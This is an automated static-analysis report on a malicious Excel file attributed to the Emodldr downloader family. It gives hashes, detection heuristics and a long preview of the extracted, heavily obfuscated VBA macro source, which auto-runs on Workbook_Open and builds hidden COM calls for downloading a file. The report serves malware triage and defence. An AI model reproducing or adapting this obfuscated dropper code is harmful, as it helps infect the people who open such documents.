Emodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 784ec1a66ab9866b…

MALICIOUS

Office (OLE)

647.5 KB Created: 2018-09-05 17:15:17 Authoring application: Microsoft Excel First seen: 2019-04-17
MD5: 35029de7cd2e4d0d1f8c674c1688d8b3 SHA-1: 04ab02c2bb2f7a4b0d371858a35cf9f814f5fe6b SHA-256: 784ec1a66ab9866b8a520e70975a44ed7e18001753023d6b60a950e9234d08eb
338 Risk Score

Malware Insights

Emodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic OLE_VBA_HTTP_DROP_EXEC indicates that the VBA macros download a file from an HTTP source and save it to disk. The OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER and OLE_VBA_PCODE_AUTOEXEC_EXEC heuristics confirm an obfuscated auto-exec loader, specifically a Workbook_Open macro, which is designed to execute code. The ClamAV detection of Xls.Malware.Emodldr-10058834-0 further supports the Emodldr family attribution.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        pGtwc = DRyvUnz.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set DRyvUnz = CreateObject(WzHJM("MV  iOByc RJrr $oVACs_h o K!fZZKtkUU.gHdXHv%MEaALxfgH(RdT^N?TOhsPsE "))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set DRyvUnz = CreateObject(WzHJM("MV  iOByc RJrr $oVACs_h o K!fZZKtkUU.gHdXHv%MEaALxfgH(RdT^N?TOhsPsE "))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set UXmvGAXh = GetObject(opBncOhb)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        DZuahXm = Environ(WzHJM("AS^ZpZjIpW) D]LvakBot( GaSKl"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 138604 bytes
SHA-256: 61d1818ebc00136bdf487dd7df3cd867ff18042616e42a191ef400fe4229f4b9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
623 of 1021 identifiers look randomly generated (e.g. 'HTjxUvMFEkuQwe') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    oCmMWCAEZx = "L?QHiYK.C.[kN" + "- Fm. CY$-ms & " + "xG B eCD ((   o)"
    FlBBnR = 913 + 869 + 780
    While qNTQQV < 5
        oCmMWCAEZx = Right("rR.  B  V WSnZ! gy#W", 2)
        oCmMWCAEZx = 769 - 1011 - 1881
        lDsdXSJGknpA = StrReverse("qPIE$ E   x r ")
        RHffuurlwMXP = Left("beBm Bgj_S$oIzbT pkT", 4)
        RHffuurlwMXP = 1823 + 1960 + 1556
        RHffuurlwMXP = 1639 + 477 + 1740
        qNTQQV = qNTQQV + 2
    Wend

    FlBBnR = 665 - 608 - 198
    RHffuurlwMXP = LTrim("bN   $![-h ")
    For BkcNLo = 0 To 4
        While NPrYIN < 4
            FlBBnR = UCase("Uu-ks   @OT i")
            oCmMWCAEZx = UCase("( BlyfTU[[anW Lg?")
            lDsdXSJGknpA = RTrim("UC CFE# ll sE")
            FlBBnR = 137 - 1803 - 206
            oCmMWCAEZx = 1696 - 1446 - 642
            HFfXHikpre = StrReverse("W_e]V   VmD%h")
            RHffuurlwMXP = LTrim("b )YdAcSTSj t")
            HFfXHikpre = Left("@msAo I cW&%rK aCj", 2)
            HFfXHikpre = StrReverse("E&IzF k DZ")
            HFfXHikpre = 582 + 1085 + 1629
            NPrYIN = NPrYIN + 1
        Wend

        RHffuurlwMXP = Space(8)
        RHffuurlwMXP = Right(" . .  ffeGU kXQ Z ", 2)
    Next BkcNLo

    oCmMWCAEZx = RTrim(" m.V! s h ")
    HFfXHikpre = 1414 - 435 - 650
    lDsdXSJGknpA = Space(8)
    For BEYCAz = 0 To 4
        While Jeyawh < 5
            RHffuurlwMXP = 102 - 1250 - 432
            RHffuurlwMXP = LTrim(" ]  J $X [-[fKR")
            HFfXHikpre = UCase("M!ZJ q_ KdAvmL")
            HFfXHikpre = Right(" GlT  e($gzlaSNo", 5)
            FlBBnR = StrReverse("wugr U^&(xi[  TWqpP")
            HFfXHikpre = Right("yft tR-qy(UDV-MWfM$", 4)
            HFfXHikpre = LTrim("LwGD  x #-.)   m bp")
            oCmMWCAEZx = StrReverse("(pJX  g  ]Ak QMI fsj")
            RHffuurlwMXP = "I UU^  DYq i)" + " y# )_U@)z  s_%" + "%QnhU)% - S#pU  dq"
            Jeyawh = Jeyawh + 1
        Wend

        lDsdXSJGknpA = 746 + 1625 + 1877
        FlBBnR = 1724 + 145 + 1806
        lDsdXSJGknpA = 705 + 831 + 485
        HFfXHikpre = Space(5)
    Next BEYCAz

    RHffuurlwMXP = RTrim("r .zu % & oJBTC @!u")
    For WfoBpn = 0 To 2
        For nvtSih = 0 To 5
            RHffuurlwMXP = StrReverse("r(FRt ZFq%G$Eu")
            oCmMWCAEZx = Left("^ Sk yI^K Frq", 5)
            oCmMWCAEZx = " F -_Feg.m  u yq  " + "& z _ cE$  ufrP U " + "icJ%CH B Z   V "
            lDsdXSJGknpA = RTrim("e K Pr  ?AM A")
            oCmMWCAEZx = StrReverse("kA^Sr P!  ytf .Z )%!")
            HFfXHikpre = RTrim("A oUe $ Z R@")
            HFfXHikpre = Right("YulpH( P vW$  N pz", 2)
            FlBBnR = Right("n( %GDS  jmm", 2)
            HFfXHikpre = StrReverse("V  %@xLm@jth ")
            oCmMWCAEZx = "JvZ- cjSGK RQ])Kvl" + "D Zm_$ _ZRMp h)mOfg" + " rXz$ncf  Ds Vv  d"
        Next nvtSih

        RHffuurlwMXP = 320 + 1460 + 693
        lDsdXSJGknpA = RTrim(" ig (? ko@ iVB")
        HFfXHikpre = RTrim("lvK%]wFkuc [ V FRE(")
        FlBBnR = 1829 - 1644 - 1644
        FlBBnR = LTrim(".gOIUid @otJs@")
        lDsdXSJGknpA = Space(17)
        RHffuurlwMXP = Space(12)
        HFfXHikpre = Right("qr#a^ E^ d h?TC ZgU@", 2)
        lDsdXSJGknpA = RTrim("QL^Tq WZ      i ")
    Next WfoBpn

    HFfXHikpre = 474 + 1508 + 1247
    FlBBnR = Right("w  N rm OhN", 5)
    lDsdXSJGknpA = RTrim("Ub? WiikcsMV^IeMX")
    lDsdXSJGknpA = LTrim("mgc] QhHu ")
    RHffuurlwMXP = LTrim("h @(  C%T V q")
    FlBBnR = StrReverse("@  j^tM[  Zv B@r!#?")
    lDsdXSJGknpA = RTrim("U(Q[ T J T.^HMc ")
    For fAdtqO = 0 To 5
        For PSCVBk = 0 To 7
            oCmMWCAEZx = "yo!g VXj IaTE(fCu " + "XBvgbM p!  .gtf  P" + "&$  tC Q  Zhh "
            RHffuurlwMXP = StrReverse(" gA _a  Ep xgu Q ")
            oCmMWCAEZx = Left("&DA scj?   %l%. d c", 2)
            lDsdXSJGknpA = 1526 - 508 - 1370
            RHffuurlwMXP = "dXZ   V@Z@VbkD" + "f RG[^C$L " + "[ PrgomZ^p"
            HFfXHikpre = UCase("  Huc I rsGrKZ")
            RHffuurlwMXP = StrReverse(" O% LdLT H Y. L")
            oCmMWCAEZx = Right("n kS)   Aifi ", 2)
        Next PSCVBk

        FlBBnR = Right("EsK!Y ^muZ", 4)
        oCmMWCAEZx = "L K  T NO#    " + "lf@xq %yQotr_@$" + "-rISKnFiO_c]PE"
        lDsdXSJGknpA = Space(8)
        RHffuurlwMXP = RTrim(" rd r#@ rO xnx n [  ")
        HFfXHikpre = UCase("X fXfCD!!lU")
        lDsdXSJGknpA = LTrim("nwT q hVCBL")
        RHffuurlwMXP = Right("Syw?P  ^ZEb &p&k (", 3)
        oCmMWCAEZx = Right("U  I! re ^#[ pdoGWl", 4)
        RHffuurlwMXP = LTrim(" hmC jJP o#(a")
        lDsdXSJGknpA = Right("pX OFIkF yi_r", 4)
    Next fAdtqO

    lDsdXSJGknpA = 1213 + 1683 + 1722
    oCmMWCAEZx = Left("  #h Qo  f O? H", 2)
    oCmMWCAEZx = "p %I  wSMv[()s)" + "] &  ].Qp@" + "BzVeA D#! "
    HFfXHikpre = UCase("e jz lG&-&pb ")
    RHffuurlwMXP = RTrim(" $  l w.O tNTI")
    lDsdXSJGknpA = Space(8)
    HFfXHikpre = 1143 - 590 - 1408
    While vwjWXe < 2
        While jTtzoK < 2
            oCmMWCAEZx = 1160 + 368 + 405
            HFfXHikpre = StrReverse("^ ZoMTL.G&fRA")
            FlBBnR = Left("?@ZN_h sx Knxi ", 5)
            oCmMWCAEZx = 976 - 1159 - 1251
            RHffuurlwMXP = 1965 - 536 - 1537
            oCmMWCAEZx = Right("R @ Fl Ai g &ED$az", 2)
            lDsdXSJGknpA = Space(12)
            FlBBnR = RTrim(" !RHU PevnYs")
            jTtzoK = jTtzoK + 2
        Wend

        HFfXHikpre = Right("r!a  !](_&.x  O Mi%x", 3)
        RHffuurlwMXP = "D QXE[_PG(IP  HJSW" + "Qr.EgosfH  we C" + "p[Dy  (@ mT "
        RHffuurlwMXP = StrReverse("[o.&r R  - ND_#")
        lDsdXSJGknpA = LTrim("Wzx [ $S aw ]@M")
        vwjWXe = vwjWXe + 3
    Wend

    For RmYiqD = 0 To 10
        HFfXHikpre = StrReverse("BY tgGRzTx   m c  Lu")
        HFfXHikpre = RTrim(" []yp^L q T#d")
        lDsdXSJGknpA = "r&  @]ts^A  " + ".PLLvULg^Yj%jl" + " ^()z^bp^puW  y r@["
        HFfXHikpre = StrReverse("rz(u$FXy  rK uRs i ")
        lDsdXSJGknpA = 389 + 1003 + 1171
        oCmMWCAEZx = 1160 - 321 - 453
        RHffuurlwMXP = Left("y?   [?S_)(%", 3)
        oCmMWCAEZx = Left("Y@Q_.#I sU j]F!Q", 3)
    Next RmYiqD

    RHffuurlwMXP = Left("  oH(fHFZw", 4)
XkJWjoLR "AOnlLMew", "QdMRZL", "OSpqTwquS", "PsSeru", "xjFHpkjm"
    DZuahXm = Environ(WzHJM("AS^ZpZjIpW) D]LvakBot( GaSKl"))
    oCmMWCAEZx = LTrim("xk ! NYaEmu d  )x C")
    For HcutJt = 0 To 8
        lDsdXSJGknpA = Space(13)
        RHffuurlwMXP = LTrim(" $G n #F_ye ")
        FlBBnR = RTrim(" lpym p  &")
        oCmMWCAEZx = Right("Q]mI Hik Ifg ", 3)
        RHffuurlwMXP = Right(" cG@qK ( T @eT  d", 2)
        oCmMWCAEZx = Left("FTH?L   ILB", 5)
        HFfXHikpre = RTrim("VLkFad  iO")
        oCmMWCAEZx = " a WQ Aolt%&" + "Up WO)K H IUFD B y" + "J CqrCQT  T"
    Next HcutJt

    HFfXHikpre = LTrim(" ]Rvq-XLlNxruC")
    RHffuurlwMXP = Left("MosFqw ]-Ij  _pVD", 4)
    Dim MLnzQU As String
    RHffuurlwMXP = Space(8)
    lDsdXSJGknpA = StrReverse("]Zmuc ] AmY")
    RHffuurlwMXP = Left("y% rRp kj  [uNev ", 2)
    lDsdXSJGknpA = 971 - 565 - 941
    While FAZSvJ < 2
        FlBBnR = UCase("  ldzw&!UYN_fEf)tN")
        HFfXHikpre = LTrim("uE]) nRvP#lIGt")
        HFfXHikpre = RTrim("l!Et # X_EWd ")
        FlBBnR = StrReverse("A F  [CEN GnlO]q")
        FlBBnR = Right(".#N uN?bTu F&", 5)
        FAZSvJ = FAZSvJ + 1
    Wend

    HFfXHikpre = Left("JUTQ$. x V [K%", 5)
    For XswdjB = 0 To 7
        oCmMWCAEZx = StrReverse("Zt! jw& R&CTX")
        lDsdXSJGknpA = LTrim("#NU!% xeRH- ZRAFZ-N")
        oCmMWCAEZx = 230 - 418 - 410
        oCmMWCAEZx = RTrim(" Yt   $ rkk k Uf")
        lDsdXSJGknpA = Left(" IF% V  ^  z", 5)
        lDsdXSJGknpA = Space(6)
        HFfXHikpre = Left(" pG ?# ^W Zv( g", 4)
    Next XswdjB

    lDsdXSJGknpA = StrReverse(" msRTT]RS -&  #")
    MLnzQU = "F%(]O"
    While WzixCf < 5
        HFfXHikpre = Right("o WhEE  )]ANTZL", 4)
        RHffuurlwMXP = Space(19)
        lDsdXSJGknpA = 1744 - 1206 - 895
        lDsdXSJGknpA = 1276 - 1081 - 1314
        FlBBnR = LTrim("p _O q E #w ")
        oCmMWCAEZx = UCase(")P  C ?h&C! ")
        HFfXHikpre = RTrim(" g?kLX]-% &")
        FlBBnR = RTrim("  _jqT WMpY&T(")
        HFfXHikpre = RTrim("aRAW$ ?g s")
        WzixCf = WzixCf + 2
    Wend

    lDsdXSJGknpA = RTrim("Qyd [oS f!DC  P  $#")
    oCmMWCAEZx = Space(19)
    HFfXHikpre = Space(20)
    For Fmrbvu = 0 To 6
        FlBBnR = StrReverse("%Sy . XzEEq  mx")
        RHffuurlwMXP = 1244 + 1906 + 126
        RHffuurlwMXP = 1700 - 956 - 1287
        FlBBnR = RTrim("!e A$ LOfT  %Ye.)A ")
        FlBBnR = RTrim("a I)f  Pye")
        oCmMWCAEZx = StrReverse("KT^ o RBF^f(y$ (O ")
        HFfXHikpre = UCase(" ^]A#IvoK#hb")
        RHffuurlwMXP = StrReverse("  aD%_[ Y%sm")
    Next Fmrbvu

    lDsdXSJGknpA = Right("Djd      (Wf hwtrga", 4)
    HFfXHikpre = StrReverse("j (LG K x wUYX ")
    oCmMWCAEZx = Left("  x!g.L S DUA# xnao", 2)
    MLnzQU = MLnzQU + "Bo]Lr"
    For OmCcfC = 0 To 8
        HFfXHikpre = 212 + 1498 + 1890
        HFfXHikpre = "ebSwkcud  E]kRK]" + "tbC Puu tk" + "j  mjNvC ^W v"
        FlBBnR = RTrim(" i FCwZ n %eI")
        RHffuurlwMXP = 923 + 1679 + 915
        oCmMWCAEZx = Space(15)
    Next OmCcfC

    HFfXHikpre = Left("ySnxN #JF ?", 4)
    RHffuurlwMXP = Left("T C $zJQ Ul[di PK", 3)
    RHffuurlwMXP = Left("#Qa #W %o-Us", 4)
    HFfXHikpre = "o B %vpRzeL" + "lQ BeGVJ u  ZMnCD" + "x  # qR(  u cA"
    HFfXHikpre = RTrim("pU$%!TXyA[VSdj Bx$")
    FlBBnR = LTrim("#sNJTH ]_I&NrCB")
    FlBBnR = Space(17)
    While VaxhTq < 2
        FlBBnR = StrReverse("M# .cv c_HY?( p x%m@")
        oCmMWCAEZx = 313 + 1122 + 1203
        HFfXHikpre = Right("vW@Q Rf! V", 2)
        RHffuurlwMXP = RTrim("X@ECc Ob  MDvv(]L(T?")
        FlBBnR = UCase(" d%[)! pPM iKYw.B")
        lDsdXSJGknpA = Space(7)
        FlBBnR = Space(10)
        lDsdXSJGknpA = StrReverse("^A O T v  TEG")
        HFfXHikpre = "  % [ FUt Niht )I" + "[  PNG! _jp" + "mk [H[ RM# _ ct MC K"
        VaxhTq = VaxhTq + 1
    Wend

    oCmMWCAEZx = RTrim("Su)zsl  zoU   #c J ")
    MLnzQU = MLnzQU + "ebD !"
    HFfXHikpre = "QUh&MZ ayUp q" + "CZcwpl g@ -cq_ Z E@" + " aJb yaY q ."
    oCmMWCAEZx = Right("wT A    y X.i w", 5)
    While CytgLa < 2
        While mzKfjA < 1
            lDsdXSJGknpA = Left("T?uY x]p (ER_k!!kQOf", 5)
            HFfXHikpre = Left("  ]  _    h@", 2)
            lDsdXSJGknpA = LTrim(" h XY  k g$ Nj]f")
            oCmMWCAEZx = StrReverse(" ]j  OcwT!rnR U")
            oCmMWCAEZx = Space(11)
            oCmMWCAEZx = Left(") DT^%dz wXoq", 3)
            lDsdXSJGknpA = RTrim(" ?X?Q m_ d r e")
            mzKfjA = mzKfjA + 3
        Wend

        oCmMWCAEZx = StrReverse("  AZr  ]  @&x Ow F ")
        oCmMWCAEZx = "n g^ [wLkJnC" + " J @Sx $cg" + "#cGbEhp^ Y Y X@o"
        HFfXHikpre = " gW%@O jMFFoC-y%p K" + "Kq- l@YPfD" + "-l EmUXyGnGnG "
        FlBBnR = 1957 + 291 + 1284
        HFfXHikpre = UCase("lXs-jcfZ jnbPW bWrD")
        lDsdXSJGknpA = UCase("Nj%r]b @KyQrBg^O  A")
        FlBBnR = Right(" Fki$n    ", 4)
        oCmMWCAEZx = 1509 - 938 - 269
        oCmMWCAEZx = Left("ofamTLXBW _nb %fx", 4)
        CytgLa = CytgLa + 1
    Wend

    FlBBnR = RTrim(".TG%k mih ")
    While HTOFqw < 2
        While LYhsOa < 4
            RHffuurlwMXP = 852 + 1032 + 1866
            RHffuurlwMXP = 787 - 1647 - 782
            HFfXHikpre = UCase("Q  I-Q.hpKpxMKR) I N")
            FlBBnR = UCase("b.NUs _lr A ?")
            lDsdXSJGknpA = Left("Zp[!aZjokI(s", 3)
            RHffuurlwMXP = StrReverse("p% pMO?P ]G&.rp AX")
            HFfXHikpre = 1833 - 630 - 1743
            HFfXHikpre = 1769 - 1084 - 360
            lDsdXSJGknpA = Left("[[Su$ JbryWQfOqLi.OX", 4)
            FlBBnR = Right(" d  SMjqPijd)Mh ", 5)
            LYhsOa = LYhsOa + 1
        Wend

        lDsdXSJGknpA = 611 + 544 + 120
        lDsdXSJGknpA = LTrim("$l  T!-[Hc ](p")
        oCmMWCAEZx = LTrim(" G_^etB?_QkbP")
        HFfXHikpre = Left(" wb  y#Lj  ", 5)
        FlBBnR = RTrim("g !XyeR!TcC.r%w")
        HFfXHikpre = 221 - 482 - 1885
        lDsdXSJGknpA = Left("Y H QywwIPm]Z%  KrU", 3)
        lDsdXSJGknpA = Right("?# M Fkeu p ", 3)
        lDsdXSJGknpA = UCase(" ZjO gF  )A# v")
        HTOFqw = HTOFqw + 2
    Wend

    oCmMWCAEZx = Space(4)
    lDsdXSJGknpA = StrReverse("KEhF  Y qR#co!kjxr &")
    oCmMWCAEZx = RTrim("#VSbQ q m m (g^Jl $")
    MLnzQU = MLnzQU + "HEFJT"
    RHffuurlwMXP = 1177 - 405 - 462
    RHffuurlwMXP = UCase("[e gL   X H KPS hI")
    For pgCunb = 0 To 1
        For sBcmzA = 0 To 5
            HFfXHikpre = Space(8)
            HFfXHikpre = Right("QI  -O Lx -", 4)
        Next sBcmzA

        lDsdXSJGknpA = LTrim("q]mSA. #S#Q")
        RHffuurlwMXP = "G M ]gGvBNSMmf NaR($" + " P$ H  &nK sA " + "q QCaof%IUYpQH"
        lDsdXSJGknpA = 192 - 1472 - 1833
        HFfXHikpre = Left("YQDhbANho hSLj[ e", 5)
        FlBBnR = StrReverse("]bw-gU)r z ")
    Next pgCunb

    HFfXHikpre = Left("WC t  w@bg X&[ ", 3)
    FlBBnR = 795 + 875 + 663
    oCmMWCAEZx = 1273 - 375 - 1303
    RHffuurlwMXP = LTrim("$S& g _@[^(Bot (T !")
    While JAcIcE < 3
        For dYoXpl = 0 To 5
            HFfXHikpre = Left(")NfD uzg_p)T@XDPFMA", 4)
            lDsdXSJGknpA = Space(8)
            lDsdXSJGknpA = StrReverse("FNf x%  -A yQ?cxRg")
            oCmMWCAEZx = 1167 + 418 + 1252
            HFfXHikpre = 414 + 1383 + 640
            HFfXHikpre = UCase("dM Zf.O sM#r")
            FlBBnR = 328 + 870 + 227
            oCmMWCAEZx = RTrim("r [J^tEiUw ")
            oCmMWCAEZx = "%GAJR)l  e[ e&c" + "CJ  &(]c eZ p" + " Z^%v&Or-ad.j "
            lDsdXSJGknpA = 1144 - 1071 - 416
        Next dYoXpl

        lDsdXSJGknpA = StrReverse("P# bpY .rO TpHLA x")
        RHffuurlwMXP = UCase("m   Af [p?K jRS  ")
        lDsdXSJGknpA = RTrim("GzbR_meu RM)e")
        RHffuurlwMXP = StrReverse("LKJERzybIj#  T")
        JAcIcE = JAcIcE + 2
    Wend

    RHffuurlwMXP = 114 + 1656 + 1725
    MLnzQU = MLnzQU + "RWe&\"
    While MHqtiP < 2
        For LnQnCW = 0 To 9
            RHffuurlwMXP = UCase("vMWW[ hd) )J^bzw")
            lDsdXSJGknpA = 175 + 1489 + 1594
            oCmMWCAEZx = LTrim("?u  ?_v QEc tZ")
        Next LnQnCW

        RHffuurlwMXP = RTrim("D%BAnuS t-F NJEh ")
        FlBBnR = 635 + 852 + 152
        FlBBnR = StrReverse("UmrcytFasa Fdv# g")
        HFfXHikpre = UCase("  gIgLb# J  Yr $Fbd")
        oCmMWCAEZx = Right(" T^au ? ctW^ g  r$i!", 2)
        FlBBnR = "q Lf U Vc  )AF   P " + "  eQN zThrZ ?Yy" + " $Yjc YMDt ! BFKF "
        MHqtiP = MHqtiP + 2
    Wend

    FlBBnR = StrReverse("(ZW&g@ DY I")
    FlBBnR = 1132 - 1169 - 1810
    oCmMWCAEZx = UCase("MIZTE !  A&")
    HFfXHikpre = 557 - 1193 - 988
    For NgZZXH = 0 To 10
        oCmMWCAEZx = Right("$  JrHZ s?  q[@& dt", 3)
        HFfXHikpre = "Ul vQUvS_xh .P" + "t[dBMe@Q X$mwBr" + "cD$ & pwlzvDkHF_"
        FlBBnR = Space(15)
        RHffuurlwMXP = 583 + 1083 + 1579
        RHffuurlwMXP = 1813 + 408 + 1630
        HFfXHikpre = RTrim("UA[Fnx#J  V-bS X")
        HFfXHikpre = "LzS   SdJu &  " + "ngIaD HiZa" + "FuNkCke )nql  K[a##L"
    Next NgZZXH

    oCmMWCAEZx = Left(" KB[_qzN )EW ", 3)
    RHffuurlwMXP = 294 + 1345 + 1783
    MLnzQU = MLnzQU + "dTWGb"
    FlBBnR = Space(6)
    HFfXHikpre = 149 - 1486 - 454
    FlBBnR = "$  kkNs?n " + "Rgzd ^ GgykNOH%FX. s" + " !hDqAsH#?JZJ"
    FlBBnR = RTrim("   set a  %Yi ")
    RHffuurlwMXP = StrReverse("Pm %  ch u")
    MLnzQU = MLnzQU + "#EPl]"
    HFfXHikpre = Right(" w$-y Y-uiE W", 2)
    HFfXHikpre = LTrim("T yvpAT .-pg  H ")
    lDsdXSJGknpA = 1050 - 1385 - 839
    RHffuurlwMXP = 1181 + 1328 + 1678
    lDsdXSJGknpA = Right("U l _GahgQuU tc$Y ", 3)
    While awscUG < 4
        While jhLCnR < 1
            oCmMWCAEZx = LTrim("(Mra$ e y iiAH.F(Q")
            FlBBnR = 1462 - 1390 - 1697
            RHffuurlwMXP = StrReverse("]@bp dwW_Bf")
            HFfXHikpre = RTrim("LKc  VHGp%")
            lDsdXSJGknpA = Space(19)
            HFfXHikpre = StrReverse("FYgdorK- agwY")
            jhLCnR = jhLCnR + 3
        Wend

        HFfXHikpre = StrReverse("rJ PlyU RO]D")
        RHffuurlwMXP = StrReverse("J!n[   #m?)J)#Chkz@")
        RHffuurlwMXP = Left("p k $   RY   r ", 3)
        FlBBnR = StrReverse(" [!! ? Q-%E% j v")
        RHffuurlwMXP = 906 + 1278 + 1779
        awscUG = awscUG + 2
    Wend

    lDsdXSJGknpA = Space(19)
    MLnzQU = MLnzQU + "lpJ  "
    FlBBnR = RTrim(" )LvI K )N   U  r ")
    RHffuurlwMXP = UCase("gZ!.Z  U%V(U oLQ")
    While auJrzU < 1
        RHffuurlwMXP = RTrim("rw#CVSe)yfI!rr%tbQDj")
        HFfXHikpre = 1675 + 1330 + 959
        FlBBnR = UCase("# HYG-  @TEi")
        HFfXHikpre = " _Q z%myShaFrK]" + " zJ xzQzk yJLd-  IRU" + "[. z ? w n&[ z)cTrFq"
        lDsdXSJGknpA = StrReverse("  l  u X$$Q MX)bn ")
        RHffuurlwMXP = UCase("D W X &@! M  y")
        HFfXHikpre = StrReverse("HVisRG (A OuP EJ?^ ")
        auJrzU = auJrzU + 3
    Wend

    For NkgEPa = 0 To 8
        lDsdXSJGknpA = "N)  C)S.fLA" + "(qhwSqE# u" + "X LLyRy!YdG- h "
        FlBBnR = 1497 - 1196 - 1636
        HFfXHikpre = RTrim("@vLQs^ZOnS")
        oCmMWCAEZx = 1589 + 333 + 1372
        FlBBnR = RTrim(" .!l_(kp SK  .S)_rb")
    Next NkgEPa

    HFfXHikpre = UCase("bb HK%v EJw][l (H_e")
    HFfXHikpre = Right("(rd LHkS .Q    HJ", 4)
    lDsdXSJGknpA = StrReverse("DsLtSI  Bk-m O")
    MLnzQU = MLnzQU + "T dIY"
    FlBBnR = UCase(" p ZY$v$ki![BP? ")
    HFfXHikpre = StrReverse("Z.A#rIHi n KN  ")
    lDsdXSJGknpA = "Fi  E RkvpD " + " HliBr   w" + "g!G]r_X?mHSb. "
    FlBBnR = StrReverse("Hb!VSVoWi@   ")
    While lHPVXB < 2
        For ACmjWW = 0 To 8
            RHffuurlwMXP = LTrim(" T(B gD$q  ]")
            oCmMWCAEZx = 178 - 1230 - 1522
            lDsdXSJGknpA = LTrim("CdqB@ y _ arf ")
        Next ACmjWW

        FlBBnR = 419 + 100 + 1794
        RHffuurlwMXP = Space(2)
        lDsdXSJGknpA = RTrim("d f  vh] (L r(j ")
        oCmMWCAEZx = RTrim("P) CvtIBs  LT.# F")
        lHPVXB = lHPVXB + 3
    Wend

    RHffuurlwMXP = "OPD%  H by" + "AG^R  )J#_ )" + "i)midX  Hj"
    MLnzQU = MLnzQU + "JvgUu"
    HFfXHikpre = Left("I XuO  - mWj  ki -q ", 3)
    lDsdXSJGknpA = "-(q]k Au [fDGQOANr" + "  FEn]]@  L&o!R" + "M - uS c_ ?tw("
    RHffuurlwMXP = LTrim("v ]DWs xIq[")
    HFfXHikpre = RTrim("L ) ?x@Hn.#fq ")
    lDsdXSJGknpA = StrReverse("lFa  [#Ru@k nV  ")
    MLnzQU = MLnzQU + "k Ro "
    HFfXHikpre = Space(12)
    oCmMWCAEZx = Space(3)
    lDsdXSJGknpA = 1186 + 1857 + 1386
    RHffuurlwMXP = UCase("K o wcA FsrmP?^ B T ")
    HFfXHikpre = Left("NLAn eZE )", 2)
    FlBBnR = Right("ffhN    ]Pz YW^", 3)
    HFfXHikpre = 350 - 1763 - 734
    FlBBnR = Left("ec# edcuGteqc b nH%", 3)
    RHffuurlwMXP = 788 + 1356 + 150
    FlBBnR = StrReverse("?RW irTGEP  cv")
    MLnzQU = MLnzQU + "q.Mob"
    For CiFokS = 0 To 10
        lDsdXSJGknpA = StrReverse("ILp   J]vS  RN   bkK")
        oCmMWCAEZx = LTrim(") tn iaRWVQ-BATf")
        oCmMWCAEZx = 1851 + 439 + 1889
        FlBBnR = 1191 + 1886 + 725
        oCmMWCAEZx = StrReverse("G D@NP l -@GX")
        oCmMWCAEZx = 1058 - 588 - 1298
        HFfXHikpre = RTrim("  )@f  TyL wkl")
        HFfXHikpre = 251 + 674 + 1253
        FlBBnR = 1599 + 823 + 426
        RHffuurlwMXP = Space(4)
    Next CiFokS

    oCmMWCAEZx = RTrim("(X&wz@ #H. e ")
    RHffuurlwMXP = Space(4)
    oCmMWCAEZx = 550 - 465 - 1921
    lDsdXSJGknpA = "huPJIANp!DmnKYX M" + " P#?qH$  a(H PFJvJ" + "NN l  @)d Hiux Rx q "
    oCmMWCAEZx = RTrim("VKYjdhB zJ Ax K  a")
    FlBBnR = RTrim("J kgA_#s?J FodOz V ")
    For MmGulL = 0 To 3
        For iRSeTU = 0 To 10
            RHffuurlwMXP = 479 + 959 + 245
            FlBBnR = 1410 - 1693 - 818
            HFfXHikpre = UCase("Lf Z C Om g")
            RHffuurlwMXP = 1798 + 1153 + 177
            oCmMWCAEZx = "ya Fv  ZNPx" + " Ov #Kmrd? ktf aR j" + " (F ?DCc ?  H%! D- z"
            FlBBnR = Space(17)
            RHffuurlwMXP = StrReverse("DQ    ?B &")
            oCmMWCAEZx = LTrim(" $(NH] FrDy")
            RHffuurlwMXP = UCase("$?s   URzBvYk z$W ")
        Next iRSeTU

        oCmMWCAEZx = 1404 - 1121 - 190
        FlBBnR = Space(12)
        RHffuurlwMXP = Left("kZQwX  m V uD. -", 4)
        HFfXHikpre = 1904 - 608 - 671
        RHffuurlwMXP = Space(11)
    Next MmGulL

    lDsdXSJGknpA = Left(" WG [xk@ ao _oEp W ", 5)
    lDsdXSJGknpA = Left("$aEvL&Omtf) DW_", 5)
    MLnzQU = MLnzQU + "e  #x"
    HFfXHikpre = LTrim("XZ)l   B K DX BJ W")
